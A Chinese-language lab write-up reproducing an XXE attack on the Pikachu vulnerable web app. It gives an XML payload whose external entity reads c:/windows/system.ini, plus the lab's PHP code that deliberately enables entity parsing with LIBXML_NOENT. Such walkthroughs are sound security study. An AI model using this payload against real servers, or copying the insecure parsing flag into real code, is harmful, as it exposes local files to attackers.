天天看點

Pikachu-XXE複現

一個簡單的XXE

Pikachu-XXE複現

簡單抓包來看一下

Pikachu-XXE複現

 這裡的xml傳入應該就接口了,這裡是windows系統搭建的,簡單寫一下payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">]
>
<name>&xxe;</name>      

直接送出試試

Pikachu-XXE複現

 burp上抓包是這樣的

Pikachu-XXE複現

 是以我們要用Repeater測試的話就需要對payload進行URL編碼,不然就不能識别解析了。

源碼分析

$html='';
//考慮到目前很多版本裡面libxml的版本都>=2.9.0了,是以這裡添加了LIBXML_NOENT參數開啟了外部實體解析
if(isset($_POST['submit']) and $_POST['xml'] != null){


    $xml =$_POST['xml'];
//    $xml = $test;
    $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
    if($data){
        $html.="<pre>{$data}</pre>";
    }else{
        $html.="<p>XML聲明、DTD文檔類型定義、文檔元素這些都搞懂了嗎?</p>";
    }
}

?>      

這裡做了一個對送出和xml不為空的判斷,然後

$xml來存儲post傳過來的資料,也就是我們的輸入

simplexml_load_string(data,classname,options,ns,is_prefix);

轉換形式良好的 XML 字元串為 SimpleXMLElement 對象,然後輸出對象的鍵和元素

options就是可選。規定附加的 Libxml 參數。

LIBXML_NOENT - 開啟外部實體解析,

.=,累加到$html上,

用<pre>标簽來輸出

pre 元素中允許的文本可以包括實體樣式和基于内容的樣式變化,還有連結、圖像和水準分隔線。